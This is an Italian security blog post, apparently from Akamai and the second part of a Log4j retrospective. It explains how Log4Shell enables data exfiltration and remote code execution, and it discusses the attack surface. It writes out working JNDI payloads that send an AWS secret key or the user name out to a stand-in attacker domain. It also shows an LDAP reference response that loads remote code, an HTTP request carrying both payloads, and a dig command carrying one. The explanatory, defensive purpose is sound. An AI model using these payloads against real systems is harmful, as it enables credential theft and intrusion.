Retrospettiva su Log4j - Parte 2: Come vengono sfruttate l'esfiltrazione dei dati e l'esecuzione di codice remoto
Esfiltrazione dei dati
Nella Parte 1, abbiamo parlato dei retroscena delle vulnerabilità. Adesso, approfondiamo le modalità con cui vengono sfruttate. Come detto nel post precedente, JNDI consente non soltanto di interrogare i dati locali all'interno dell'ambiente di runtime Java, ma anche i sistemi remoti, come DNS e LDAP. Combinando JNDI, sistemi remoti, ricerca env e annidamento, è possibile creare un payload che, quando è posizionato in un testo da registrare, produce un'esfiltrazione dei dati.
Per questo esempio, immaginiamo che il nome del dominio dell'autore dell'attacco sia: malware.example.
Nota: utilizziamo un nome di dominio di primo livello .example per evitare di fare riferimento a un nome di dominio reale all'interno di questo documento, ma immaginiamo di poterlo sostituire con qualsiasi nome di dominio acquistato dall'autore di un attacco.
Successivamente, immaginiamo che l'autore di un attacco sia in grado di manipolare il testo inviato a Log4j. Parleremo di questa possibilità più avanti nel post. Per questo esempio, supponiamo che il testo si presenti in questo modo:
"Log this: ${jndi:dns://127.0.0.1:53/${env:USER}.malware.example}"
In base ai principi di annidamento delineati in precedenza, Log4j, per prima cosa, valuta ${env:USER}, determinando una ricerca dell'utente che esegue il software. Immaginiamo ancora che si tratti di un utente Administrator. Log4j lo sostituisce anche nel testo, determinando questa riga di registro provvisoria:
"Log this: ${jndi:dns://127.0.0.1:53/Administrator.malware.example}"
Questa riga contiene ancora un'espressione di ricerca:
${jndi:dns://127.0.0.1:53/Administrator.malware.example}
Log4j vede questa espressione di ricerca basata su JNDI, analizza lo pseudo-URL di dns://127.0.0.1:53/Administrator.malware.example, quindi lo passa a JNDI. JNDI riconosce che questo pseudo-URL necessita di un provider DNS ed effettua una ricerca DNS, tramite lo strumento di risoluzione localhost, per Administrator.malware.example.
Poiché malware.example appartiene all'autore dell'attacco, la query DNS per Administrator.malware.example raggiunge il suo server DNS autoritativo. Osservando la query DNS, l'autore dell'attacco scopre così che il software che utilizza il codice Log4j vulnerabile viene eseguito da un utente Administrator.
Ciò dimostra quanto sia semplice far rivelare i dati di un ambiente, se a Log4j vengono forniti payload accuratamente creati. Inoltre, sebbene sia già abbastanza grave far trapelare l'identità dell'utente attuale, ci sono informazioni ancora più preziose e segrete che possono subire la stessa sorte.
Per fare un esempio (e si tratta di un fatto realmente osservato), pensiamo a cosa può succedere se cambiamo ${env:USER} con ${env:AWS_SECRET_ACCESS_KEY}, determinando la seguente stringa:
"Log this: ${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.example}"
Seguendo la stessa logica osservata in precedenza, ciò determina una query DNS in arrivo sul server DNS autoritativo dell'autore dell'attacco, che contiene la chiave di accesso privata AWS all'ambiente Amazon in cui è in esecuzione il codice Log4j. Una divulgazione di informazioni di tale portata potrebbe causare la violazione delle istanze AWS.
Letteralmente, ogni informazione presente nell'ambiente del software che esegue il codice vulnerabile accessibile tramite un'espressione di ricerca Log4j può essere facilmente nidificata e costretta a raggiungere un sistema controllato dall'autore di un attacco.
Inoltre, come se ciò non fosse già abbastanza grave, le cose possono addirittura peggiorare.
Esecuzione di codice remoto
Come risulta evidente, l'implementazione di JNDI in alcune versioni di Java per impostazione predefinita consente ad alcuni servizi di directory di rispondere alle query, sia direttamente che indirettamente, con un codice remoto che la macchina di interrogazione poi esegue localmente.
Ad esempio, il provider di servizi della directory LDAP su installazioni vulnerabili consente a un server LDAP di rispondere a una query con un cosiddetto riferimento. Il riferimento elenca la posizione remota del codice da scaricare e da eseguire localmente.
Nonostante all'inizio possa risultare insensato, esistono valide applicazioni in ambienti altamente controllati, in cui il server LDAP e la relativa infrastruttura sono ritenuti affidabili. I problemi si verificano quando l'autore di un attacco punta la macchina che effettua la richiesta a un server LDAP non affidabile da essa controllato. L'autore dell'attacco può, poi, restituire i riferimenti al codice dannoso, che, a sua volta, JNDI scarica per poi eseguire sulla macchina host.
Poiché le istanze Log4j vulnerabili consentono un accesso illimitato a JNDI tramite espressioni di ricerca, è possibile caricare ed eseguire il codice remoto tramite righe di registro accuratamente create. Consideriamo il seguente messaggio inviato a Log4j:
"Log this: ${jndi:ldap://rce.malware.example/a}"
Su sistemi vulnerabili, Log4j vede l'espressione di ricerca ${jndi:ldap://rce.malware.example/a} ed estrae lo pseudo-URL di JNDI, ldap://rce.malware.example/a, passandolo poi a JNDI per l'elaborazione. JNDI vede che l'URL utilizza il provider di servizi della directory LDAP e invia una query LDAP al sito rce.malware.example .
Poiché rce.malware.example appartiene ed è gestito dall'autore dell'attacco, restituisce un payload di riferimento come risposta LDAP simile al seguente:
dn:
javaClassName: exploit
javaCodeBase: http://rce.malware.com/exploit/
objectClass: javaNamingReference
javaFactory: exploitFactory
Alla ricezione di questa risposta, JNDI raggiunge l'URL del server web http://rce.malware.com/exploit/ e scarica il relativo payload dell'esecuzione di codice remoto dannoso, eseguendolo, infine, sul sistema su cui viene eseguito Log4j.
Superficie di attacco
Questi gravi attacchi hanno tutti bisogno di messaggi appositamente scritti per l'invio a Log4j. Quindi, una domanda ovvia è: in che modo l'autore di un attacco arriva nelle condizioni di poter fare tutto ciò? La risposta è che lo fa sfruttando tutte le opportunità in cui le informazioni fornite possono essere registrate.
Attualmente, il vettore di attacco più comune riguarda le applicazioni basate sul web. Molte di queste applicazioni registrano le interazioni con gli utenti finali che visitano il sito, ad esempio, possono registrare il percorso richiesto, nonché l'User-Agent, l'ora e il risultato della richiesta.
Sulla base di ciò, un malintenzionato può connettersi a un'applicazione web e inviare una richiesta come questa:
GET /${jndi:ldap://rce.malware.example/a} HTTP/1.1
Host: www.webapp.example
User-Agent: ${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.example}
L'applicazione web, alla ricezione della richiesta, analizza il percorso di /${jndi:ldap://rce.malware.example/a} e l'User-Agent di ${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.example}, quindi invia entrambi a Log4j. Su un sistema vulnerabile, la chiave di accesso privata AWS viene divulgata insieme al codice arbitrario in fase di download ed esecuzione.
Nonostante le applicazioni basate sul web attualmente siano maggiormente prese di mira, è estremamente importante ricordare che qualsiasi servizio che soddisfa i seguenti criteri può essere potenzialmente sfruttato:
esegue Java
utilizza una versione vulnerabile di Log4j per registrare i messaggi
registra qualcosa che è stato fornito dall'autore dell'attacco (URL, intestazioni, cookie, query, ecc.)
In quest'ottica, un altro vettore che Akamai sta osservando nel mondo reale, seppur meno frequentemente rispetto alla variante diretta contro le applicazioni web, è quello diretto contro il DNS. Nel tentativo di rilevare eventuali strumenti di risoluzione DNS vulnerabili, gli autori degli attacchi inviano query DNS con payload sfruttabili incorporati. Può bastare anche semplicemente inviare la seguente richiesta di ricerca DNS dalla riga di comando:
# dig '${jndi:ldap://rce.malware.example/a}.foo.example'
Questa riga ordina al sistema sul quale viene eseguito il comando di inviare una query DNS allo strumento di risoluzione configurato dell'host per la stringa di ricerca Log4j stessa. Uno strumento di risoluzione DNS che riceve una tale query può registrarla, specialmente perché contiene caratteri non validi. Questo strumento di risoluzione DNS viene sfruttato se è basato su Java e utilizza una versione della libreria Log4j vulnerabile per la registrazione.
Tuttavia, un tale attacco non si limita alla query. Un altro approccio che Akamai sta monitorando è il payload incorporato in una risposta DNS. Molte query DNS possono determinare risposte contenenti informazioni diverse dagli indirizzi IP, come CNAME, TXT, SRV e PTR. Stiamo riscontrando prove evidenti del fatto che gli autori degli attacchi manipolano i record di risposta che possiedono per incorporarvi stringhe sfruttabili, attaccando gli strumenti di risoluzione dal lato della risposta, nonché le applicazioni che potrebbero registrare i risultati di tali ricerche.
Si tratta solo di un'operazione superficiale, effettuata tramite protocolli Internet ben noti. La superficie di attacco si estende ben oltre questi casi di utilizzo. Anzi, i ricercatori della sicurezza solo di recente hanno mostrato che rinominare un iPhone con una stringa di Log4j sfruttabile e vulnerabile ha causato la restituzione di un ping dell'infrastruttura di Apple, a indicare che alcuni sistemi vulnerabili hanno elaborato il nome del telefono.
Per capire fino a che punto si tratta di una vulnerabilità grave, dobbiamo considerare che Java viene eseguito su miliardi di dispositivi al mondo e una delle librerie di registrazione più largamente utilizzate per questo sistema è Log4j. Tutto può risultare vulnerabile, dai server web ai distributori automatici, e, nel caso dei dispositivi incorporati e IoT, molti sistemi potrebbero non essere nemmeno in grado di supportare le patch.
Infatti, la superficie di attacco non è costituita soltanto da un numero enorme di dispositivi esposti all'attacco, ma dipende anche dalla durata di esposizione all'attacco stesso. L'ingombro gravoso, insieme alla mancata possibilità di applicare patch ad alcune componenti, implicano che la vulnerabilità probabilmente rimarrà invariata non soltanto per alcuni mesi, ma per anni, scavalcando le vulnerabilità precedenti ormai ben note, come Shellschock e Heartbleed, sia per dimensioni di attacco che per impatto.
Il futuro
Nella Parte 3, verranno spiegati nei dettagli l'evoluzione dell'attacco e le strategie di mitigazione disponibili per proteggere le organizzazioni in questo ambiente in continua evoluzione.